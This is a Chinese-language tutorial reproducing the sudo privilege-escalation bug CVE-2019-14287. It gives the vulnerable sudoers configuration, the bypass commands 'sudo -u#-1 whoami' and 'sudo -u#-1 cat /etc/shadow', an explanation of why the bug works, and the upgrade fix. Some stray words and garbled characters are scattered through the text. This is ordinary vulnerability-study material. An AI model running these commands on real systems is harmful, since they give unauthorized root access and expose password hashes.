[提權]sudo提權復現(CVE-2019-14287)

2019年10月14日, sudo 官方在發佈了 CVE-2019-14287 的漏洞預警。linux

0x00 簡介

sudo 是全部 unix操做系統(BSD, MacOS, GNU/Linux) 基本集成的一個用戶權限控制/切換程序。容許管理員控制服務器下用戶可以切換的用戶權限。安全

0x01 漏洞概述

該漏洞是一個sudo安全策略繞過問題,可致使惡意用戶或程序在目標 Linux 系統上以 root 身份執行任意命令。我的以爲該漏洞比較雞肋,由於須要特殊的配置才能觸發,在默認的Linux中並不會存在該安全問題。服務器

0x02 影響版本

Sudo版本 < 1.8.28操作系統

0x03 環境搭建

任何linux機器上執行sudo -V獲得的版本 < 1.8.28都可3d

本人使用的環境爲sudo 1.8.16 unix

因爲須要特定的配置,因此首先修改配置文件sudoers(文件位置/etc/sudoers)日誌

在 root ALL=(ALL:ALL) ALL 下面添加一行配置:code

test    ALL=(ALL,!root) ALL

1.其中的test表示用戶名
2.第一個ALL表示容許該用戶在任意機器或者終端中使用sudo
3.括號裏面的(ALL,!root)表示命令能夠被除了root之外的任意用戶身份去執行
4.最後一個ALL表示被容許執行

添加的這一行的配置的意思就是:test這個用戶可使用sudo命令,以除了root之外的任意身份去執行命令。blog

0x04 漏洞利用

1.首先切換到test用戶:ci

su test

2.執行 sudo whoami 失敗

3.執行sudo -u#id whoami

這裏的id能夠去試任何id,我在/etc/group裏挑選了test自身的id:1001

執行sudo -u#1001 whoami成功

執行sudo -u#-1 whoami成功

4.嘗試高權限操做 執行cat /etc/shadow失敗 執行sudo -u#-1 cat /etc/shadow成功

5.解釋: 使用 sudo -u#id 指定用戶 id 去執行命令,因爲能夠指定id,因此可使用-u#-1或者-u#4294967295繞過限制,從而以root身份去執行任意代碼:這是由於 sudo 命令自己就已經以用戶 ID 爲0 運行,所以當 sudo 試圖將用戶 ID 修改爲 -1時,不會發生任何變化。這就致使 sudo 日誌條目將該命令報告爲以用戶 ID 爲 4294967295而非 root (或者用戶ID爲 0)運行命令。

0x05 修復方式

更新至 Sudo 1.8.28 版本

0x06 參考連接

Linux Sudo 被曝漏洞,可致使用戶以 root 權限運行命令

CVE-2019-14287:利用sudo提權復現

相關文章
相關標籤/搜索